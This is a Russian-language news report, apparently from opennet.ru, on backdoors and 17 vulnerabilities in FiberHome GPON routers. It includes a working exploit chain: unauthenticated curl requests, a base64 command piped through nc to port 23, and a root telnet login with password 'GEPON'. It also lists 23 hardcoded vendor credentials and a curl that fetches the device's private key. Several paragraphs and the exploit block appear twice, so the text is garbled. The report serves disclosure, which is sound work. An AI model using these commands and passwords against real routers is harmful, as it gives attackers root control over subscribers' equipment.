В маршрутизаторах FiberHome, применяемых провайдерами для подключения абонентов к оптическим линиям связи GPON, выявлено 17 проблем с безопасностью, среди которых наличие бэкдоров с предопределёнными учётными данными, позволяющими удалённо управлять оборудованием. Проблемы дают возможность удалённому атакующему получить root-доступ к устройству без прохождения аутентификации. Наличие уязвимостей подтверждено в устройствах FiberHome HG6245D и RP2602, а также частично в устройствах AN5506-04-*, но не исключено, что проблемы затрагивают и другие модели маршрутизаторов данной компании, которые не проверялись.
Отмечается, что по умолчанию доступ по IPv4 к интерфейсу администратора на изученных устройствах ограничен внутренним сетевым интерфейсом, допускающим обращение только из локальной сети, но при этом доступ по IPv6 никак не ограничен, что позволяет использовать присутствующие бэкдоры при обращении по IPv6 из внешней сети.
Кроме web-интерфейса, работающего через HTTP/HTTPS, на устройствах предусмотрена функция для удалённой активации интерфейса командной строки, к которому можно обращаться по протоколу telnet. CLI активируется отправкой специального запроса по протоколу HTTPS с предопределёнными учётными данными. Кроме того, в http-сервере, обслуживающем web-интерфейс, выявлена уязвимость (переполнение стека), эксплуатируемая через отправку запроса со специально оформленным значением HTTP Cookie.
Всего исследователем выявлено 17 проблем с безопасностью, из которых 7 затрагивают HTTP-сервер, 6 - сервер telnet, а остальные связаны с общесистемными брешами. Производитель был уведомлен о выявленных проблемах год назад, но информации об исправлении не поступило. Среди выявленных проблем:
# Получаем информацию о MAC-адресе, через API, доступный без аутентификации:
curl -k https://target/info.asp
# Используем хвост MAC-адреса в качестве ключа для снятия в пакетном фильтре блокировки доступа к CLI-интерфейсу по протоколу telnet:
сurl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR'
# Отправляем в CLI-интерфейс на 23 порт последовательность команд для запуска процесса telnetd.
echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 >/dev/null &
# Подключаемся к сетевому порту 26 по протоколу telnet с логином root и паролем GEPON.
telnet target 26
(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
#id
uid=0(root) gid=0 groups=0 # game over
Источник статьи: https://www.opennet.ru/opennews/art.shtml?num=54428
Отмечается, что по умолчанию доступ по IPv4 к интерфейсу администратора на изученных устройствах ограничен внутренним сетевым интерфейсом, допускающим обращение только из локальной сети, но при этом доступ по IPv6 никак не ограничен, что позволяет использовать присутствующие бэкдоры при обращении по IPv6 из внешней сети.
Кроме web-интерфейса, работающего через HTTP/HTTPS, на устройствах предусмотрена функция для удалённой активации интерфейса командной строки, к которому можно обращаться по протоколу telnet. CLI активируется отправкой специального запроса по протоколу HTTPS с предопределёнными учётными данными. Кроме того, в http-сервере, обслуживающем web-интерфейс, выявлена уязвимость (переполнение стека), эксплуатируемая через отправку запроса со специально оформленным значением HTTP Cookie.
Всего исследователем выявлено 17 проблем с безопасностью, из которых 7 затрагивают HTTP-сервер, 6 - сервер telnet, а остальные связаны с общесистемными брешами. Производитель был уведомлен о выявленных проблемах год назад, но информации об исправлении не поступило. Среди выявленных проблем:
- Утечка информации о подсетях, прошивке, идентификаторе соединения FTTH , IP- и MAC-адресах на стадии до прохождения аутентификации.
- Сохранение в логе паролей пользователей в открытом виде.
- Хранение открытым текстом учётных данных для подключения к беспроводным сетям и паролей.
- Переполнение стека в HTTP-сервере.
- Присутствие в прошивке закрытого ключа для SSL-сертификатов, который можно загрузить по HTTPS ("curl https://host/privkeySrv.pem").
- Бэкдор для активации telnet - в коде http-сервера присутствует специальный обработчик запросов "/telnet", а также обработчик "/fh" для привилегированного доступа.
- Жёстко заданные в прошивке инженерные пароли и параметры аутентификации. Всего в коде http-сервера было выявлено 23 прошитых учётных записей, привязанных к разным провайдерам. Пароли использовались в обработчике https://ip/fh для активации telnet:
- user / user1234
- f~i!b@e#r$h%o^m*esuperadmin / s(f)u_h+g|u
- admin / lnadmin
- admin / CUadmin
- admin / admin
- telecomadmin / nE7jA%5m
- adminpldt / z6dUABtl270qRxt7a2uGTiw
- gestiontelebucaramanga / t3l3buc4r4m4ng42013
- rootmet / m3tr0r00t
- awnfibre / fibre@dm!n
- trueadmin / admintrue
- admin / G0R2U1P2ag
- admin / 3UJUh2VemEfUtesEchEC2d2e
- admin / c 6 по 32 символы MAC-адреса на интерфейсе br0
- admin / 888888
- L1vt1m4eng / 888888
- useradmin / 888888
- user / 888888
- admin / 1234
- user / tattoo@home
- admin / tele1234
- admin / aisadmin
- Дополнительно в CLI-интерфейсе можно запустить на 26 сетевом порту отдельный процесс telnetd с правами root, передав последовательность команд "�,help,list,who,ddd,tshell" ('GgpoZWxwCmxpc3QKd2hvCg==' в base64). Для подключения к telnet определён общий пароль "GEPON".
# Получаем информацию о MAC-адресе, через API, доступный без аутентификации:
curl -k https://target/info.asp
# Используем хвост MAC-адреса в качестве ключа для снятия в пакетном фильтре блокировки доступа к CLI-интерфейсу по протоколу telnet:
сurl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR'
# Отправляем в CLI-интерфейс на 23 порт последовательность команд для запуска процесса telnetd.
echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 >/dev/null &
# Подключаемся к сетевому порту 26 по протоколу telnet с логином root и паролем GEPON.
telnet target 26
(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
#id
uid=0(root) gid=0 groups=0 # game over
Источник статьи: https://www.opennet.ru/opennews/art.shtml?num=54428